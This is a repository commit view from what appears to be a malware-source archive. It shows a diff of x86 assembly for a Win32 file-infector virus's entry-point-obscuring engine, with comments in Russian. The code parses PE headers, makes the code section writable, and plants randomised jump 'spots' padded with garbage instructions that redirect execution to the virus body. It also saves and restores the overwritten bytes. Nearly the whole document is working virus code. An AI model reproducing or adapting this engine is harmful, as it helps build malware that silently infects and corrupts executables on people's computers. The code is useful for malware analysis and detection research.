Skip to content
Snippets Groups Projects
Unverified Commit 59acb78c authored by vxunderground's avatar vxunderground Committed by GitHub
Browse files

Rename Win32/Virus.Win32.Spot.asm to Win32/Infector/Virus.Win32.Spot.asm

parent 7ec2ec66
No related branches found
No related tags found
No related merge requests found
...@@ -33,21 +33,21 @@ ...@@ -33,21 +33,21 @@
; (+) RANDOM LENGTH OF JUMP ; ; (+) RANDOM LENGTH OF JUMP ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
epo: epo:
push esi edi ; esi push esi edi ; Сохраняем в стэке esi
; edi ; и edi
mov [ebp+map_address],edx ; mov [ebp+map_address],edx ; Сохраняем адрес файла в
; ; памяти
call get_head ; PE call get_head ; Получаем PE заголовок
; ;
call search_eip ; call search_eip ; Вычисляем новую точку
; ; входа
call find_code ; call find_code ; Ищем начало кода в этом
; ; файле
call spots ; call spots ; Помещаем туда переход
; ; на вирус
pop edi esi ; pop edi esi ; Восстанавливаем из стэка
; edi esi ; edi и esi
ret ; ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; PE HEADER SUBROUTINE ; ; PE HEADER SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -61,26 +61,26 @@ epo: ...@@ -61,26 +61,26 @@ epo:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
get_head: get_head:
; ; Подпрограмма получения
; PE ; PE заголовка
pusha ; pusha ; Сохраняем всё в стэке
mov ebx,[edx + 3ch] ; mov ebx,[edx + 3ch] ;
add ebx,edx ; add ebx,edx ;
; ;
mov [ebp + PE_header],ebx ; PE mov [ebp + PE_header],ebx ; сохраняем PE заголовок
mov esi,ebx ; mov esi,ebx ;
mov edi,esi ; mov edi,esi ;
mov ebx,[esi + 28h] ; mov ebx,[esi + 28h] ;
mov [ebp + old_eip],ebx ; mov [ebp + old_eip],ebx ; Сохраняем старую точку
; (eip) ; входа (eip)
mov ebx,[esi + 34h] ; mov ebx,[esi + 34h] ;
mov [ebp + image_base],ebx ; mov [ebp + image_base],ebx ; Сохраняем
; ; виртуальный адрес
; ; начала программы
popa ; popa ; Вынимаем всё из стэка
ret ; ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; NEW ENTRY POINT SUBROUTINE ; ; NEW ENTRY POINT SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -93,31 +93,31 @@ get_head: ...@@ -93,31 +93,31 @@ get_head:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
search_eip: search_eip:
; ; Подпрограмма вычисления
; ; новой точки входа
pusha ; pusha ; Сохраняем всё в стэке
mov esi,[ebp+PE_header] ; esi mov esi,[ebp+PE_header] ; Кладём в esi указатель
; PE ; На PE заголовок
mov ebx,[esi + 74h] ; mov ebx,[esi + 74h] ;
shl ebx,3 ; shl ebx,3 ;
xor eax,eax ; xor eax,eax ;
mov ax,word ptr [esi + 6h] ; mov ax,word ptr [esi + 6h] ; Количество объектов
dec eax ; ( -1 dec eax ; (нам нужен последний-1
mov ecx,28h ; ) mov ecx,28h ; заголовок секции)
mul ecx ; * mul ecx ; * размер заголовка
add esi,78h ; esi add esi,78h ; теперь esi указывает
add esi,ebx ; add esi,ebx ; на начало последнего
add esi,eax ; add esi,eax ; заголовка секции
mov eax,[esi+0ch] ; mov eax,[esi+0ch] ;
add eax,[esi+10h] ; add eax,[esi+10h] ; Сохраняем новую точку
mov [ebp+new_eip],eax ; mov [ebp+new_eip],eax ; входа
popa ; popa ; Вынимаем всё из стэка
ret ; ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; FIND START OF CODE SUBROUTINE ; ; FIND START OF CODE SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -130,59 +130,59 @@ search_eip: ...@@ -130,59 +130,59 @@ search_eip:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code: find_code:
; ; Подпрограмма поиска начала
; ; кода
mov esi,[ebp+PE_header] ; esi mov esi,[ebp+PE_header] ; Кладём в esi указатель
; PE ; На PE заголовок
mov ebx,[esi + 74h] ; mov ebx,[esi + 74h] ;
shl ebx,3 ; shl ebx,3 ; Получаем
xor eax,eax ; xor eax,eax ;
mov ax,word ptr [esi + 6h] ; mov ax,word ptr [esi + 6h] ; Количество объектов
find2: find2:
mov esi,edi ; mov esi,edi ;
dec eax ; dec eax ;
push eax ; ( -1 push eax ; (нам нужен последний-1
mov ecx,28h ; ) mov ecx,28h ; заголовок секции)
mul ecx ; * mul ecx ; * размер заголовка
add esi,78h ; esi add esi,78h ; теперь esi указывает на
add esi,ebx ; add esi,ebx ; начало последнего
; ; заголовка
add esi,eax ; add esi,eax ; секции
mov eax,[ebp+old_eip] ; eax mov eax,[ebp+old_eip] ; В eax ложим точку входа
mov edx,[esi+0ch] ; edx mov edx,[esi+0ch] ; В edx адрес куда будет
; ; мапиться
; ; текущая секция
cmp edx,eax ; cmp edx,eax ; Проверяем
pop eax ; eax pop eax ; Вынимаем из стэка eax
jg find2 ; jg find2 ; Если больше ищем дальше
add edx,[esi+08h] ; add edx,[esi+08h] ; Добавляем виртуальный
; ; размер секци
cmp edx,[ebp+old_eip] ; cmp edx,[ebp+old_eip] ; Проверяем
jl find2 ; jl find2 ; Если меньше ищем дальше
mov edx,[esi+0ch] ; mov edx,[esi+0ch] ; Далее вычисляем
; ; физическое
mov eax,[ebp+old_eip] ; mov eax,[ebp+old_eip] ; смещение кода в файле
sub eax,edx ; sub eax,edx ;
add eax,[esi+14h] ; add eax,[esi+14h] ;
add eax,[ebp+map_address] ; add eax,[ebp+map_address] ; И потом добавляем базу
; ; памяти
mov [ebp+start_code],eax ; mov [ebp+start_code],eax ; Сохраняем начало кода
or [esi + 24h],00000020h or 20000000h or 80000000h or [esi + 24h],00000020h or 20000000h or 80000000h
; ; Меняем аттрибуты
; ; кодовой секции
mov eax,[esi+08] ; mov eax,[esi+08] ; Вычисляем размер
sub eax,[ebp+old_eip] ; , sub eax,[ebp+old_eip] ; той части кодовой секции,
mov edx,[esi+10h] ; mov edx,[esi+10h] ; где можно размещать
sub edx,eax ; sub edx,eax ; пятна
mov [ebp+size_for_spot],edx ; mov [ebp+size_for_spot],edx ;
ret ; ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ; ; SPOTS GENERATION SUBROUTINE ;
...@@ -196,26 +196,26 @@ find2: ...@@ -196,26 +196,26 @@ find2:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
spots: spots:
; ; Подпрограмма генерации
; ; пятен
mov ecx,1 ; ecx mov ecx,1 ; Кладём в ecx единицу
; ;
call reset ; call reset ; Подготавливаем данные
call num_spots ; call num_spots ; Генерируем случайное число
; - ; это будет кол-во пятен
tred: tred:
call save_bytes ; call save_bytes ; Сохраняем затираемы байты
call gen_spot ; call gen_spot ; Генерируем пятно
inc ecx ; ecx inc ecx ; Увеличиваем ecx на единицу
cmp ecx,[ebp+n_spots] ; cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы
jne tred ; , jne tred ; Если нет, то генерируем
call save_bytes ; call save_bytes ; Сохраняем последние байты
call gen_final_spot ; call gen_final_spot ; И генерируем последнее
; ; пятно
ret ; ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT GENERATION SUBROUTINE ; ; SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -228,27 +228,27 @@ tred: ...@@ -228,27 +228,27 @@ tred:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot: gen_spot:
; ; Подпрограмма генерации
; ; одного пятна
push eax ecx ; eax ecx push eax ecx ; Сохраняем eax и ecx
call len_sp_jmp ; call len_sp_jmp ; Получаем случайную длину
xchg eax,ebx ; xchg eax,ebx ; прыжка пятна
call testing ; , call testing ; Проверяем, чтобы пятно
jc quit2 ; jc quit2 ; не выходило за кодовую
; ; секцию
push ebx push ebx
xor bx,bx xor bx,bx
dec bx dec bx
mov ecx,[ebp+num1] ; mov ecx,[ebp+num1] ; Генерируем первую партию
call garbage ; call garbage ; мусора
pop ebx pop ebx
mov al,0e9h ; mov al,0e9h ;
stosb ; stosb ;
mov eax,0 ; jmp mov eax,0 ; Генерируем jmp
add eax,ebx ; add eax,ebx ;
add eax,ecx ; add eax,ecx ;
stosd ; stosd ;
...@@ -256,17 +256,17 @@ gen_spot: ...@@ -256,17 +256,17 @@ gen_spot:
push ebx push ebx
xor bx,bx xor bx,bx
dec bx dec bx
mov ecx,[ebp+num2] ; mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; call garbage ; мусора
pop ebx pop ebx
sub edi,[ebp+num2] ; sub edi,[ebp+num2] ;
add edi,[ebp+num1] ; edi add edi,[ebp+num1] ; Корректируем edi
add edi,ebx ; add edi,ebx ;
quit2: quit2:
pop ecx eax ; ecx eax pop ecx eax ; Восстанавливаем ecx и eax
ret ; ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LAST SPOT GENERATION SUBROUTINE ; ; LAST SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -279,36 +279,36 @@ quit2: ...@@ -279,36 +279,36 @@ quit2:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot: gen_final_spot:
; ; Подпрограмма генерации
; ; финального пятна
push eax ecx ; eax ecx push eax ecx ; Сохраняем eax и ecx
jc not_big ; jc not_big ; Если длина не превышает
inc [ebp+n_spots] ; , inc [ebp+n_spots] ; размера кодовой секции, то
not_big: ; - not_big: ; Увеличим кол-во пятен
mov ecx,[ebp+num1] ; mov ecx,[ebp+num1] ; Генерируем мусорные
call garbage ; call garbage ; инструкции
push edi ; edi push edi ; Сохраняем edi
sub edi,[ebp+start_code] ; jmp'a sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a
mov ebx,edi ; mov ebx,edi ; для последнего пятна
pop edi ; edi pop edi ; Восстанавливаем edi
mov al,0e9h ; mov al,0e9h ;
stosb ; stosb ;
mov eax,0 ; mov eax,0 ;
sub eax,5 ; sub eax,5 ; Генерируем финальное
sub eax,ebx ; sub eax,ebx ; пятно
add eax,[ebp+new_eip] ; add eax,[ebp+new_eip] ;
sub eax,[ebp+old_eip] ; sub eax,[ebp+old_eip] ;
stosd ; stosd ;
mov ecx,[ebp+num2] ; mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; call garbage ; мусорных инструкций
pop ecx eax ; ecx eax pop ecx eax ; Восстанавливаем ecx и eax
ret ; ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ; ; SPOTS GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -322,29 +322,29 @@ not_big: ; ...@@ -322,29 +322,29 @@ not_big: ;
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes: save_bytes:
; ; Подпрограмма сохранения
; ; заменяемых байт
pusha ; pusha ; Сохраняем всё в стэке
call length1 ; call length1 ; Генерируем длины мусорных
; ; инструкций
mov ebx,[ebp+num1] ; ebx mov ebx,[ebp+num1] ; Помещаем в ebx первую
add ebx,[ebp+num2] ; add ebx,[ebp+num2] ; и вторую длины
add ebx,5 ; ebx - 5 add ebx,5 ; Добавляем к ebx - 5
mov esi,edi ; mov esi,edi ; Сохраняем в буфере с
mov edi,[ebp+pointer] ; mov edi,[ebp+pointer] ; начала смещение в памяти
mov eax,esi ; mov eax,esi ; на сохраняемые байты
stosd ; stosd ;
mov ecx,ebx ; mov ecx,ebx ; После этого сохраняем в
mov eax,ecx ; - mov eax,ecx ; буфере кол-во сохраняемых
stosd ; stosd ; байт
rep movsb ; rep movsb ; И в самом конце сохраняем
mov [ebp+pointer],edi ; mov [ebp+pointer],edi ; в буфере сами байты
; ;
popa ; popa ; Вынимаем всё из стэка
ret ; ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESTORE SUBROUTINE ; ; RESTORE SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -357,32 +357,32 @@ save_bytes: ...@@ -357,32 +357,32 @@ save_bytes:
; OLD ENTRY POINT -> EBX ; ; OLD ENTRY POINT -> EBX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
restore: restore:
; ; Подпрограмма
; ; восстановления сохранённых
; ; байт
cld ; cld ; Поиск вперёд
lea esi,[ebp+rest_bytes] ; esi lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер
mov edx,1 ; edx - 1 mov edx,1 ; В edx кладём - 1
not_enough: not_enough:
mov edi,[ebp+old_eip] ; edi mov edi,[ebp+old_eip] ; В edi загружаем точку
add edi,[ebp+image_base] ; add edi,[ebp+image_base] ; входа
mov ebx,edi ; edi ebx mov ebx,edi ; Сохраняем edi в ebx
lodsd ; eax lodsd ; В eax старое смещение
; ; байт в памяти
sub eax,[ebp+start_code] ; sub eax,[ebp+start_code] ; Отнимаем смещение начала
; ; кода и добавляем
add edi,eax ; add edi,eax ; точку входа
lodsd ; eax - lodsd ; Загружаем в eax кол-во
mov ecx,eax ; ecx mov ecx,eax ; байт и кладём их в ecx
rep movsb ; rep movsb ; Перемещаем оригинальные
; ; байты на старое место
inc edx ; inc edx ; Переходим к следующему
cmp edx,[ebp+n_spots] ; cmp edx,[ebp+n_spots] ; пятну
jl not_enough ; , jl not_enough ; если не все пятна вернули,
; ; то восстанавливаем дальше
quit: ; quit: ;
ret ; ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LENGTH SPOT GENERATION SUBROUTINE ; ; LENGTH SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -395,23 +395,23 @@ quit: ; ...@@ -395,23 +395,23 @@ quit: ;
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
length1: length1:
; ; Подпрограмма генерации
; ; длин мусорных инструкций
mov eax,20 ; mov eax,20 ;
call brandom32 ; call brandom32 ; Генерируем случайное число
test eax,eax ; 1..19 test eax,eax ; в диапазоне 1..19
jz length1 ; jz length1 ;
mov [ebp+num1],eax ; mov [ebp+num1],eax ; Сохраняем его в переменную
rand2: rand2:
mov eax,20 ; mov eax,20 ;
call brandom32 ; call brandom32 ; Генерируем случайное число
test eax,eax ; 1..19 test eax,eax ; в диапазоне 1..19
jz rand2 ; jz rand2 ;
mov [ebp+num2],eax ; mov [ebp+num2],eax ; Сохраняем его в вторую
; ; переменную
ret ; ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESET SUBROUTINE ; ; RESET SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -424,16 +424,16 @@ rand2: ...@@ -424,16 +424,16 @@ rand2:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reset: reset:
; ; Подпрограмма инициализации
; ; переменных
mov edi,[ebp+start_code] ; mov edi,[ebp+start_code] ;
; ;
push esi ; push esi ; Инициализируем переменные
lea esi,[ebp+rest_bytes] ; lea esi,[ebp+rest_bytes] ;
mov [ebp+pointer],esi ; mov [ebp+pointer],esi ;
pop esi ; pop esi ;
ret ; ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT JUMP LENGTH GENERATION SUBROUTINE ; ; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -446,15 +446,15 @@ reset: ...@@ -446,15 +446,15 @@ reset:
; LENGTH OF SPOT JUMP -> EAX ; ; LENGTH OF SPOT JUMP -> EAX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp: len_sp_jmp:
; ; Подпрограмма генерации
; ; длины прыжка
mov eax,150 ; mov eax,150 ;
call brandom32 ; call brandom32 ; Генерируем случайное число
cmp eax,45 ; 45..149 cmp eax,45 ; в диапазоне 45..149
jle len_sp_jmp ; jle len_sp_jmp ;
ret ; ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS NUMBER GENERATION SUBROUTINE ; ; SPOTS NUMBER GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -467,18 +467,18 @@ len_sp_jmp: ...@@ -467,18 +467,18 @@ len_sp_jmp:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots: num_spots:
; ; Подпрограмма генерации
; ; количества пятен
pusha ; pusha ; Сохраняем всё в стэке
mov eax,40 ; mov eax,40 ; Генерируем случайное число
call brandom32 ; 1..40 call brandom32 ; в диапазоне 1..40
inc eax ; inc eax ; И сохраняем его в
mov [ebp+n_spots],eax ; mov [ebp+n_spots],eax ; переменной
popa ; popa ; Вынимаем всё из стэка
ret ; ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; TESTING SUBROUTINE ; ; TESTING SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
...@@ -491,39 +491,39 @@ num_spots: ...@@ -491,39 +491,39 @@ num_spots:
; CARRY FLAG ; ; CARRY FLAG ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
testing: testing:
; ; Подпрограмма проверки
; ; попадения в границу секции
push edi eax ; edi eax push edi eax ; Сохраняем edi eax в стэке
add edi,[ebp+num1] ; edi 1- add edi,[ebp+num1] ; Добавим к edi 1-ую длину
; ; мусорных инструкций
add edi,[ebp+num2] ; 2- add edi,[ebp+num2] ; После этого добавим 2-ую
add edi,300 ; add edi,300 ; И добавим число в которое
; ; входит максимальный размер
; + ; пятна + длина его прыжка
mov eax,[ebp+size_for_spot] ; eax mov eax,[ebp+size_for_spot] ; В eax загрузим размер
; ; места для пятен и смещение
add eax,[ebp+start_code] ; add eax,[ebp+start_code] ; в памяти точки входа
cmp edi,eax ; eax edi cmp edi,eax ; Сравним eax и edi
clc ; carry clc ; Сбросим carry флаг
jl m_space ; edi , jl m_space ; Если edi меньше, то все
; ; хорошо
mov [ebp+n_spots],ecx ; , mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем
inc [ebp+n_spots] ; inc [ebp+n_spots] ; количество пятен и
stc ; carry stc ; устанавливаем carry флаг
m_space: m_space:
pop eax edi ; eax edi pop eax edi ; Вынимаем eax и edi
ret ; ret ; Возврат из процедуры
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
pointer dd 0 ; pointer dd 0 ;
n_spots dd 0 ; n_spots dd 0 ;
; ;
num1 dd 0 ; num1 dd 0 ;
num2 dd 0 ; num2 dd 0 ;
; ; Данные необходимые для
PE_header dd 0 ; PE_header dd 0 ; работы мотора
old_eip dd 0 ; old_eip dd 0 ;
image_base dd 0 ; image_base dd 0 ;
start_code dd 0 ; start_code dd 0 ;
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment